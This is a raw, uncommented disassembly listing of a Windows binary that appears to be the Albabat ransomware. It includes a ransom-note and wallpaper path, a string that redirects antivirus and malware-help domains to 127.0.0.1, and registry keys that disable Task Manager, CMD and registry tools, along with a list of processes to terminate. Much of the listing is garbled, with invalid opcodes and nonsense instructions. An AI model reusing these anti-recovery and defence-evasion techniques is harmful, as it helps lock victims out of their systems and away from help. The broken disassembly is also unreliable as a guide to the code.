ww.pcrisk.com_n__127.0.0.1_adware.guru_n__127.0.0.1_www.cyclonis.com_n__127.0.0.1_jp.broadcom.com_n__127.0.0.1_www.broadcom.com_n__127.0.0.1_www.enigmasoftware.com_n__127.0.0.1_howtofix.guide_n__127.0.0.1_easysolvemalware.com_n__127.0.0.1_bbs.360.cn_n__127.0.0.1_pcsafetygeek.com_n__127.0.0.1_tria.ge_n
lea rcx, [rsp + 0x260]
mov r8d, 0x25
call fcn.1400864a0
movzx eax, byte [0x1400f92c0]
mov ecx, 0x4b7
mov edx, 1
call fcn.1400515f0
test rax, rax
je 0x140031ffa
mov rbx, rax
lea rdx, [0x1400d54b5]
mov r8d, 0x4b7
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rsp + 0x260]
movups xmm1, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x40], xmm1
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xf8], 0
jne 0x1400313ab
call fcn.140008690
lea r8, [rsp + 0x90]
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm0, xmmword [rax + 0x100]
inc qword [rax + 0x100]
movups xmm1, xmmword [0x1400eb9b0]
movaps xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [0x1400eb9c0]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea r14, [rsp + 0x70]
mov edx, 1
mov rcx, r14
call fcn.1400a9670
lea r9, [rsp + 0x280]
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], 0x4b7
mov qword [rsp + 0x290], 0x4b7
lea rcx, [rsp + 0x1a0]
lea r8, [rsp + 0x30]
mov rdx, r14
call fcn.14001b890
mov r8, qword [rsp + 0x1a0]
test r8, r8
je 0x140031487
cmp qword [rsp + 0x1a8], 0
je 0x140031487
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movaps xmm2, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x640], xmm0
movaps xmmword [rsp + 0x650], xmm1
movaps xmmword [rsp + 0x660], xmm2
lea rcx, [rsp + 0x640]
call fcn.1400298b0
test rax, rax
je 0x140031769
mov rbx, rax
movzx eax, byte [0x1400f92c0]
mov ecx, 8
mov edx, 8
call fcn.1400515f0
test rax, rax
je 0x140031fe9
mov r14, rax
mov qword [rax], rbx
lea r15, [0x1400b0c00]
cmp qword [rsi + 0x20], 0
jne 0x14003191b
jmp 0x14003192e
test r13, r13
je 0x140031520
lea rdx, [0x1400b2583]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.1400818e0
cmp byte [rsp + 0x88], 3
jne 0x14003208e
mov r14, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rsp + 0x260]
mov rdx, r14
call fcn.140086540
mov r15, qword [rsp + 0x260]
mov r13, qword [rsp + 0x270]
lea rdx, str.wallpaper_albabat.jpg
lea rcx, [rsp + 0x70]
mov r8d, 0x15
call fcn.14000fa90
mov r12, qword [rsp + 0x70]
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x30]
mov rdx, r15
mov r8, r13
mov r9, r12
call fcn.140086540
cmp qword [rsp + 0x78], 0
je 0x14003165c
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x268], 0
je 0x140031679
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x140031690
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsp + 0x260], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x268], xmm0
mov dword [rsp + 0x278], 7
mov qword [rsp + 0x27c], 0
mov word [rsp + 0x284], 0
mov byte [rsp + 0x281], 1
mov byte [rsp + 0x284], 1
mov byte [rsp + 0x283], 1
mov r15, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
lea r8, [rsp + 0x260]
mov rcx, r15
call fcn.140082100
mov r12, rax
mov r14, rdx
cmp qword [rsp + 0x38], 0
je 0x140031719
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test r12, r12
jne 0x140031752
mov qword [rsp + 0x70], r14
lea rdx, [0x1400bc540]
lea rcx, [rsp + 0x70]
mov r8d, 0x10291
call fcn.140008210
mov r15, rax
mov rcx, r14
call qword [sym.imp.kernel32.dll_CloseHandle]
mov r14, r15
test r15, r15
je 0x14003195c
mov rcx, r14
call fcn.140007e00
mov r14, rax
lea r15, [0x1400b0c00]
jmp 0x14003192e
lea rdx, [0x1400b2583]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.1400818e0
cmp byte [rsp + 0x88], 3
jne 0x1400320b7
mov rbx, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rsp + 0x260]
mov rdx, rbx
call fcn.140086540
mov r14, qword [rsp + 0x260]
mov r15, qword [rsp + 0x270]
lea rdx, str.readme_README.html
lea r12, [rsp + 0x70]
mov r8d, 0x12
mov rcx, r12
call fcn.14000fa90
lea rcx, [rsi + 0x38]
mov rdx, r14
mov r8, r15
mov r9, r12
call fcn.1400088b0
cmp qword [rsp + 0x268], 0
je 0x140031819
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
test r13, r13
je 0x140031830
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsi + 0x38]
mov rdx, qword [rsi + 0x48]
call fcn.140008900
test rax, rax
je 0x1400320e0
mov rbx, rax
mov r14, rdx
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], rdx
lea r12, [rsi + 0x70]
mov byte [rsi + 0x70], 0
jmp 0x14002f5c2
mov r14, qword [rsp + 0x268]
mov r15, qword [rsp + 0x270]
mov byte [r12], 1
cmp qword [rsi + 0x40], 0
je 0x140031914
mov r8, qword [rsi + 0x38]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi + 0x20], 0
je 0x14003192e
mov r8, qword [rsi + 0x18]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rdi + 8], r14
mov qword [rdi + 0x10], r15
mov al, 1
xor ecx, ecx
mov qword [rdi], rcx
mov byte [rsi + 0x58], al
movaps xmm6, xmmword [rsp + 0x670]
add rsp, 0x688
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [0x1400b2583]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.1400818e0
cmp byte [rsp + 0x88], 3
jne 0x1400320fa
mov r14, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rsp + 0x260]
mov rdx, r14
call fcn.140086540
mov r15, qword [rsp + 0x260]
mov r13, qword [rsp + 0x270]
lea rdx, str.readme_assets_banner.jpg
lea r12, [rsp + 0x30]
mov r8d, 0x18
mov rcx, r12
call fcn.14000fa90
lea rcx, [rsp + 0x70]
mov rdx, r15
mov r8, r13
mov r9, r12
call fcn.1400088b0
cmp qword [rsp + 0x268], 0
je 0x140031a0d
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
add byte [rcx], dh
ror byte [rbp - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x140031a24
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
lea rcx, [rsp + 0x70]
call fcn.140029bd0
test rax, rax
je 0x140031a5b
mov rcx, rax
jmp 0x140031755
shr ecx, 0x1a
std
invalid
add cl, ch
xor esp, esp
invalid
call fcn.14002dd50
test rax, rax
je 0x140031a70
mov r14, rax
mov r15, rdx
jmp 0x14003192e
mov qword [rsp + 0x68], rdi
mov dword [rsp + 0x68], edi
lea rax, str.__v_
mov qword [rsp + 0x30], rax
lea rax, [0x140051570]
mov qword [rsp + 0x38], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x260], rax
mov dword [rsp + 0x260], eax
mov dword [rsp + 0x260], eax
mov qword [rsp + 0x268], 2
mov qword [rsp + 0x280], 0
add byte [rax], al
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0x70
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rdi*2], ah
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x70
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x70
lea rdx, [rsp + 0x260]
call fcn.14000f9b0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x500], rax
test byte [rax + rax], ah
add eax, 0x100f0000
je 0x140031b0f
js 0x140031b35
lea edx, [0x1400b2583]
test byte [rax + rax], ah
add eax, 0x100f0000
je 0x140031b0f
js 0x140031b35
lea edx, [0x1400b2583]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
add al, ch
invalid
std
add al, 0
cmp byte [rsp + 0x88], 3
jne case.0x140028256.82
add al, ch
invalid
add byte [rax], al
mov r14, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rsp + 0x260]
mov rdx, r14
mov word [rax + riz*2], fs
add al, byte [rax]
add byte [rcx + rcx*4 - 0xe], cl
call fcn.140086540
mov r15, qword [rsp + 0x260]
mov r12, qword [rsp + 0x270]
movsb byte [rdi], byte [rsi]
and al, 0x70
add al, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0x86a86
movsb byte [rdi], byte [rsi]
and al, 0x70
add al, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0x86a86
lea r13, [rsp + 0x70]
mov r8d, 0x12
mov rcx, r13
call fcn.14000fa90
lea rcx, [rsp + 0x30]
mov rdx, r15
mov r8, r12
mov r9, r13
call fcn.1400088b0
cmp qword [rsp + 0x268], 0
je 0x140031b9d
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test rbp, rbp
je 0x140031bb4
cmpsd dword [rsi], dword [rdi]
or dword [rax], ecx
add byte [rax - 0x73], cl
and al, 0x70
mov r8d, 0xb
call fcn.1400818e0
cmp byte [rsp + 0x88], 3
jne 0x140032168
mov r13, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x78]
lea rdx, str.Desktop
invalid
or al, byte [rax]
lea r14, [rsp + 0x70]
mov r8d, 7
mov rcx, r14
call fcn.14000fa90
lea rcx, [rsp + 0x260]
mov word [rax + riz*2], fs
add al, byte [rax]
add byte [rcx + rcx*4 - 0x16], cl
invalid
mov word [rax + riz*2], fs
add al, byte [rax]
add byte [rcx + rcx*4 - 0x16], cl
mov r8, rbp
mov r9, r14
call fcn.1400088b0
test rbx, rbx
je 0x140031c53
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov r13, qword [rsp + 0x260]
mov r8, qword [rsp + 0x270]
mov rax, qword [rsp + 0x500]
mov eax, dword [rsp + 0x500]
mov eax, dword [rsp + 0x500]
mov qword [rsp + 0x1a0], rax
movups xmmword [rsp + 0x1a8], xmm6
lea rcx, [rsp + 0x70]
lea r9, [rsp + 0x1a0]
invalid
add byte [rcx + rcx*4 - 0x16], cl
mov rdx, r13
call fcn.1400088b0
mov rbp, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x80]
mov rcx, rbp
call fcn.140008900
std
invalid
std
dec dword [rax - 0x7b]
test rax, rax
invalid
test bl, ah
invalid
test rax, rax
je 0x140032191
add al, 0
invalid
add al, 0
add byte [rcx - 0x77], cl
add byte [rax], al
mov r9, rdx
mov rcx, r15
ror dword [rcx + rcx*4 - 7], 1
mov rdx, r12
mov r8, rax
mov eax, eax
mov eax, eax
call fcn.14002f3d0
cmp qword [rsp + 0x78], 0
jl 0x140031ce7
js 0x140031cc5
je 0x140031cd9
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x7e72f
adc eax, 0x7e72f
invalid
cmp qword [rsp + 0x268], 0
je 0x140031cf6
invalid
adc cl, byte [rax - 0x75]
or eax, 0xc750d
mov rcx, qword [0x1400f91f8]
or eax, 0x31000c75
ror byte [rbp - 0x77], cl
call 0x1271532f3
invalid
invalid
adc ah, bh
invalid
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x38], 0
cmp dword [rsp + 0x38], 0
add byte [rdx + rdx + 0x48], dh
mov ecx, dword [0x1400f91f8]
je 0x140031d10
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x260]
lea ecx, [rsp + 0x260]
and al, 0x60
add al, byte [rax]
add al, ch
jae 0x140031d9a
call fcn.140029c90
movzx eax, byte [rsp + 0x27b]
mov r14, qword [rsp + 0x260]
cmp al, 2
jne 0x140031d43
invalid
mov r15, qword [rsp + 0x268]
add byte [rax], al
mov rdi, qword [rsp + 0x68]
jmp 0x14003192e
sti
invalid
invalid
sti
invalid
movups xmm0, xmmword [rsp + 0x268]
mov edx, dword [rsp + 0x27c]
lea rcx, [rsi + 0x18]
lea ecx, [rsi + 0x18]
mov qword [rsi + 0x18], r14
movups xmmword [rsi + 0x20], xmm0
adc dword [rsi + 0x20], eax
adc dword [rsi + 0x20], eax
mov byte [rsi + 0x33], al
mov dword [rsi + 0x34], edx
mov word [rsi + 0x30], 0x100
xor byte [rax], r8b
add esi, eax
xor r8b, byte [rax]
xor byte [rax], r8b
xor byte [rax], al
add esi, eax
xor r8b, byte [rax]
call fcn.14002cb70
test rax, rax
je 0x140031d93
invalid
invalid
mov r14, rax
mov r15, rdx
mov rdi, qword [rsp + 0x68]
invalid
push 0x207e8348
add byte [rdi], cl
test dword [rbp - 0x16000005], ecx
sti
invalid
invalid
invalid
wait
sti
invalid
cmp qword [rsi + 0x20], 0
jne 0x14003191b
sti
invalid
invalid
sti
invalid
jmp 0x14003192e
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgrdelSOFTWAREPoliciesMicrosoftWindowsSystemDisableCMDDisableRegistryToolstaskmgr.exeprocesshacker.exeregedit.execode.exeexcel.exepowerpnt.exewinword.exemsaccess.exemspub.exevirtualboxvm.exevirtualbox.exechrome.execs2.exesteam.exepostgres.exemysqlworkbench.exeoutlook.exewindowsterminal.exesublime_text.exemicrosoft.photos.exephotosapp.exe
add eax, 0x8a036
add byte [rax - 0x77], cl
invalid
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], 0x39
mov dword [rsi + 0x68], 0x39
lea rax, [0x1400bbe4e]
lea eax, [0x1400bbe4e]
mov qword [rsi + 0x70], rax
mov qword [rsi + 0x78], 0x14
adc al, 0
add byte [rax], al
add byte [rax], al
add bh, al
xchg byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add dh, al
mov byte [rsi + 0x408], 0
mov dword [rsi + 0x400], 0
mov byte [rsi + 0x408], 0
mov r13, qword [rsp + 0x508]
mov rdi, qword [rsp + 0x68]
jmp case.0x14002f576.3
and al, 8
add eax, 0x8b480000
add byte [rax - 0x75], cl
add byte [rax - 0x75], cl
jl 0x140031dfa
push 0xffffffffffd79ce9
dec dword [rbp + rcx*4 + 5]
push 0x2b90008
lea r8, str.srcui_render.rs
mov ecx, 2
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
mov edx, edi
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
mov edx, edi
mov edx, edi
call fcn.1400a9fa0
ud2
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
lea r8, str.srcui_render.rs
mov ecx, 3
mov rdx, r15
lea r8, str.srcui_render.rs
mov ecx, 3
add eax, dword [rax]
add byte [rax], al
mov rdx, r15
call fcn.1400a9fa0
ud2
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
imul ebp, dword [rax + 8], 0x4b900
add byte [rax], al
invalid
lea r8, str.srcui_render.rs
lea eax, [0x1400b8678]
mov ecx, 4
add byte [rcx + rcx*4 - 6], cl
mov rdx, r15
cli
call fcn.1400a9fa0
ud2
lea r8, str.srcui_render.rs
imul ebp, dword [rax + 8], 0
mov ecx, 5
mov rdx, r15
call fcn.1400a9fa0
ud2
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm1
jo case.0x140023fa5.265
add byte [rax], al
jo case.0x140023fa5.265
add al, byte [rax]
add byte [rdi], cl
movaps xmmword [rsp + 0x260], xmm0
movaps xmmword [rsp + 0x260], xmm0
lea rax, str.srcmain.rs
jmp 0x140031f5f
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.srcmain.rs
lea eax, [0x1400d5430]
mov edx, 0x23
call fcn.1400aa0a0
invalid
ud2
movups xmm0, xmmword [rsp + 0x70]
and al, 0x70
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm1
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x270], ecx
movaps xmmword [rsp + 0x260], xmm0
lea rax, str.srcmain.rs
lea eax, [0x1400bc288]
add al, byte [rax]
add byte [rax - 0x73], cl
lea eax, [0x1400bc288]
lea eax, [0x1400bc288]
movabs dword [0xf000000bfe90008], eax
adc byte [rsp + 0x70], al
jmp 0x140031f5f
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm1
jo 0x140031eb5
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x260], eax
add al, byte [rax]
invalid
movaps xmmword [rsp + 0x260], xmm0
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0x8a3f4
lea rax, str.srcmain.rs
jmp 0x140031f5f
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
lea rax, str.srcmain.rs
jmp 0x140031f5f
movups xmm0, xmmword [rsp + 0x70]
and al, 0x70
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm1
sub dword [rsp + 0x270], ecx
sub dword [rsp + 0x270], ecx
add al, byte [rax]
add byte [rdi], cl
movaps xmmword [rsp + 0x260], xmm0
movaps xmmword [rsp + 0x260], xmm0
add byte [rax], al
lea rax, str.srcmain.rs
jmp 0x140031f5f
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm1
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x260], xmm0
lea rax, str.srcmain.rs
jmp 0x140031f5f
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
adc byte [rsp + 0x80], cl
adc byte [rsp + 0x80], cl
add byte [rax], 0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x270], ecx
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
lea rax, str.srcmain.rs
invalid
or byte [rax], al
invalid
movabs dword [0x4820244489480008], eax
lea ecx, str.called__Result::unwrap____on_an__Err__value
invalid
or byte [rax], al
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
or eax, 0xb98c5
invalid
lea rcx, str.called__Result::unwrap____on_an__Err__value
add byte [rbp + rcx*4 + 0xd], cl
invalid
lea r9, [0x1400b1270]
lea r8, [rsp + 0x260]
add byte [rdx + 0x2b], bh
add byte [rdx + 0x2b], bh
add byte [rax], al
add al, ch
lodsb al, byte [rsi]
test byte [rdi], al
add byte [rdi], cl
or ecx, dword [rax - 0x73]
lea rcx, str.no_entry_found_for_key_NaiveDateTime__Duration__overflowedC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_naivedatetimemod.rs
call fcn.1400aa430
ud2
lea rcx, str.no_entry_found_for_key_NaiveDateTime__Duration__overflowedC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_naivedatetimemod.rs
lea ecx, str.no_entry_found_for_key_NaiveDateTime__Duration__overflowedC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_naivedatetimemod.rs
lea r8, str.srcmain.rs
movsd dword [rdi], dword [rsi]
or byte [rax], al
mov edx, 0x16
call fcn.1400aa4d0
xor al, byte [rbp + 0xb0f0007]
add al, ch
xor al, byte [rbp + 0xb0f0007]
lea rcx, str.no_entry_found_for_key_NaiveDateTime__Duration__overflowedC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_naivedatetimemod.rs
lea r8, str.srcmain.rs
mov edx, 0x16
add byte [rax], al
call fcn.1400aa4d0
ud2
invalid
lea rcx, str.no_entry_found_for_key_NaiveDateTime__Duration__overflowedC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_naivedatetimemod.rs
or eax, 0x7ef37
lea r8, str.srcmain.rs
mov edx, 0x16
call fcn.1400aa4d0
ud2
mov ecx, 1
add byte [rax], al
mov edx, 0xb
call fcn.1400a9e00
ud2
mov al, 2
jmp 0x14003201a
mov ecx, 8
add byte [rax], al
mov edx, 8
add byte [rax], al
call fcn.1400a9e00
ud2
mov ecx, 1
mov edx, 0x4b7
add al, ch
idiv dword [rbp + 7]
add byte [rdi], cl
invalid
add al, ch
idiv dword [rbp + 7]
add byte [rdi], cl
or ecx, dword [rbx + 0x3408b08]
mov eax, dword [rax + 3]
mov dword [rsp + 0x33], eax
xor ecx, dword [rcx + 0x3130244c]
invalid
xor ecx, dword [rcx + 0x3130244c]
ror byte [rcx + rcx*4 + 0x64], 0x24
jo 0x140032068
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], rbx
pop rsp
and al, 0x78
mov dword [rsp + 0x78], ebx
pop rsp
and al, 0x78
mov qword [rsp + 0x80], r8
mov byte [rsp + 0x88], al
test byte [rax + rax*4], ah
and al, 0x80
add byte [rax], al
add byte [rax + 0x882484], cl
add byte [rax], al
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x33]
mov dword [rsp + 0x89], eax
and al, 0x89
add byte [rax], al
invalid
and al, 0x89
add byte [rax], al
add byte [rcx + 0x8c248c], cl
mov dword [rsp + 0x8c], ecx
mov dword [rsp + 0x8c], ecx
lea rax, [0x1400bb9a0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
xchg edi, eax
or eax, dword [rax]
lea r9, [0x1400b1270]
lea r8, [rsp + 0x70]
mov edx, 0x2b
call fcn.1400aa430
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, dword [rax - 0x73]
lea rcx, str._async_fn__resumed_after_completion
lea rcx, str._async_fn__resumed_after_completion
lea ecx, str._async_fn__resumed_after_completion
lea r8, [0x1400bb900]
mov edx, 0x23
call fcn.1400aa0a0
ud2
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
jo 0x1400320a3
adc byte [rsp + 0x80], cl
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
add byte [rax], al
lea rax, str.srcmain.rs
jmp 0x140031f5f
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x270], ecx
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x270], ecx
movaps xmmword [rsp + 0x260], xmm0
lea rax, str.srcmain.rs
jmp 0x140031f5f
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
or eax, 0xbc679
lea r8, str.srcmain.rs
mov edx, 0x2b
add al, ch
test al, 0x7f
invalid
add byte [rdi], cl
invalid
add al, ch
test al, 0x7f
invalid
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
test byte [rax + riz*2], ah
add al, byte [rax]
add byte [rax], al
test byte [rax + riz*2], ah
add al, byte [rax]
add byte [rax], al
lea rax, str.srcmain.rs
add byte [rax], al
lea rax, str.srcmain.rs
jmp 0x140031f5f
invalid
ud2
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
lea rax, str.srcmain.rs
jmp 0x140031f5f
add byte [rdi], cl
or ecx, dword [rdi]
adc byte [rsp + 0x70], al
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm1
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x260], eax
lea rax, str.srcmain.rs
jmp 0x140031f5f
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
or eax, dword [rax]
lea r8, str.srcmain.rs
mov edx, 0x2b
call fcn.1400aa0a0
ud2
jg 0x140032165
movabs al, byte [0x490bd290f000004]
add byte [rax], al
mov ebp, 0x490
add al, 0
add byte [rdi], cl
sub dword [rbp + 0x480], esi
movaps xmmword [rbp + 0x480], xmm6
mov qword [rbp + 0x478], 0xfffffffffffffffe
mov r14, r8
mov rsi, rdx
mov esi, edx
mov r15, rcx
movzx eax, byte [rdx + 0x41]
lea rcx, [0x1400ef6e8]
xlatb
invalid
or eax, dword [rax]
xlatb
invalid
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov byte [rsi + 0x40], 0
lea rcx, [rbp + 0x2f0]
call fcn.140029c90
movzx ecx, byte [rbp + 0x30b]
mov r13, qword [rbp + 0x2f0]
add byte [rax], al
add byte [rax - 0x73], cl
invalid
add byte [rax], al
cmp cl, 2
jne 0x140032287
mov r12, qword [rbp + 0x2f8]
jmp 0x1400378e9
push rsi
add byte [rax], al
push rsi
add byte [rax], al
lea rbx, [rsi + 0x48]
movzx eax, byte [rsi + 0x48]
lea rcx, [0x1400ef6fc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
add eax, 0xc704e
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x140034fde
jmp 0x140034fc5
mov rax, qword [rbp + 0x2f8]
mov eax, dword [rbp + 0x2f8]
mov rdx, qword [rbp + 0x300]
mov r8d, dword [rbp + 0x307]
invalid
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x7b], al
ja 0x1400322a2
add byte [rax], al
mov qword [rbp + 0x170], rdx
mov edx, dword [rbp + 0x30c]
mov qword [rsi], r13
mov qword [rsi + 8], rax
mov r8, qword [rbp + 0x170]
add byte [rcx + rcx*4 + 0x46], cl
adc byte [rbx + rcx*4 - 0x7b], al
ja 0x1400322c8
add byte [rax], al
invalid
add byte [rcx + rcx*4 + 0x46], cl
adc byte [rbx + rcx*4 - 0x7b], al
ja 0x1400322c8
add byte [rax], al
add byte [rcx + rcx*4 + 0x46], al
invalid
mov dword [rsi + 0x17], r8d
mov byte [rsi + 0x1b], cl
mov dword [rsi + 0x1c], edx
cmp byte [rsi + 0x19], 0
jne 0x14003651f
cmp byte [rsi + 0x18], 0
jne 0x14003651f
lea rcx, [rbp + 0x2f0]
call fcn.140081c70
cmp byte [rbp + 0x308], 2
je 0x1400375ed
mov rdx, qword [rbp + 0x2f0]
mov rbx, qword [rbp + 0x2f8]
mov r8, qword [rbp + 0x300]
lea rcx, [rbp + 0x2f0]
mov qword [rbp + 0x2a0], rdx
call fcn.140043490
cmp qword [rbp + 0x2f0], 0
jne 0x140037628
push rdx
add byte [rax], al
push rdx
add byte [rax], al
mov rdi, qword [rbp + 0x2f8]
mov r13, qword [rbp + 0x300]
test r13, r13
je 0x140033aaf
js 0x14003735b
movzx eax, byte [0x1400f92c0]
mov edx, 1
mov rcx, r13
call fcn.1400515f0
mov r12, rax
test rax, rax
jne 0x140033ab5
test dword [rdx + 0x17], eax
add byte [rax], al
test dword [rdx + 0x17], eax
add byte [rax], al
mov ecx, 1
mov rdx, r13
